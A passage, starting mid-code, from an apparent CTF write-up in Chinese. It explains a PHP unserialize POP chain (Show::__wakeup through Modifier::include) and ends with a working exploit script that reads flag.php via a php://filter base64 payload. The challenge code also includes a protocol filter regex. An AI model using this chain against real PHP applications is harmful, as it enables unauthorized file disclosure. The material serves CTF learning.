    $this->source = $file;
    echo 'Welcome to '.$this->source."<br>";
  }
  public function __toString(){
    return $this->str->source;
  }

  public function __wakeup(){
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
      echo "hacker";
      $this->source = "index.php";
    }
  }
}

class Test{
  public $p;
  public function __construct(){
    $this->p = array();
  }

  public function __get($key){
    $function = $this->p;
    return $function();
  }
}

if(isset($_GET['pop'])){
  @unserialize($_GET['pop']);
}
else{
  $a=new Show;
  highlight_file(__FILE__);
}

审计代码发现Modifier类中append方法调用了include()函数,可以实现文件包含。

Modifier 类:

class Modifier {
  protected $var;
  public function append($value){
    include($value);   // 【漏洞点】include 函数,攻击者可以传入任意文件路径
  }
  public function __invoke(){
    $this->append($this->var);  // 【漏洞点】当对象被当作函数调用时,会触发此方法,调用 append() 方法
  }
}
  • append() 方法调用了 include(),允许文件包含操作。
  • __invoke() 方法被触发时会执行 append() 方法。可以通过将对象当作函数调用来触发此方法。

还是按照触发条件的思路去构造pop链,

Modifier类中__invoke()方法可以实现append的调用,__invoke()方法的触发条件是把对象当成函

数调用,而Test类中__get魔术方法可以实现把类当作函数调用。__get魔术方法的触发条件是调用的成员属性不存在。

Test 类:

class Test {
  public $p;
  public function __construct(){
    $this->p = array();  // 初始化一个空数组
  }

  public function __get($key){
    $function = $this->p;  
    return $function();  // 【漏洞点】当访问不存在的属性时,会调用 __get,进而触发数组 $p 中的函数
  }
}
  • __get() 允许将 $this->p 数组中的内容当作函数调用执行。
  • 通过将 $p 设置为一个对象并在其中触发 __invoke() 方法,可以进一步控制执行流。

接着,注意到Show类中 __toString()可以实现这一要求, __toString()的触发条件把对象被当成字符串调用, __wakeup()魔术方法可以实现这一要求,而 __wakeup()魔术方法在反序列化之前就会自动触发。

Show 类:

class Show {
  public $source;
  public $str;
  public function __construct($file='index.php'){
    $this->source = $file;
    echo 'Welcome to '.$this->source."<br>";
  }
  public function __toString(){
    return $this->str->source;  // 【漏洞点】通过将对象当作字符串使用,可以访问 str 对象的 source 属性
  }

  public function __wakeup(){
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
      echo "hacker";
      $this->source = "index.php";  // 【漏洞点】在反序列化时,如果 source 属性包含敏感协议或路径,防止泄露
    }
  }
}
  • __toString() 会返回 $str->source,触发链条的第一步,访问了 $str 对象的属性。
  • __wakeup() 方法在反序列化时被触发,用于防止文件协议(如 file://, ftp:// 等)泄露文件路径。

至此我们的pop链就很清晰了。

Show::__wakeup()-->Show::__toString()-->Test::__get()-->
Modifier::__invoke()-->Modifier::append()-->include($value)

$value的值就是我们读取的源码,为了flag.php不被执行,我们需要用到php伪协议对源文件进行编码再输出

exp:

<?php
  class Modifier {
  protected $var = 'php://filter/convert.base64-encode/resource=flag.php';   
  }

  class Show {
    public $source;
    public $str;
    public function __construct($file = 'index.php') {
      $this->source = $file;
    }
  }

class Test {
  public $p;
}

// 构造链
$modifier = new Modifier();

$test = new Test();
$test->p = $modifier;          

$show_inner = new Show();
$show_inner->str = $test;    
$show_outer = new Show($show_inner); 

echo urlencode(serialize($show_outer));
?>

运行脚本后得到payload

PixPin_2026-04-16_15-11-03

得到经过base64编码的flag.php文件

img

进行解密,得到flag

img

posted @ 2026-04-16 21:13  F0T0ne  阅读(32)  评论(0)    收藏  举报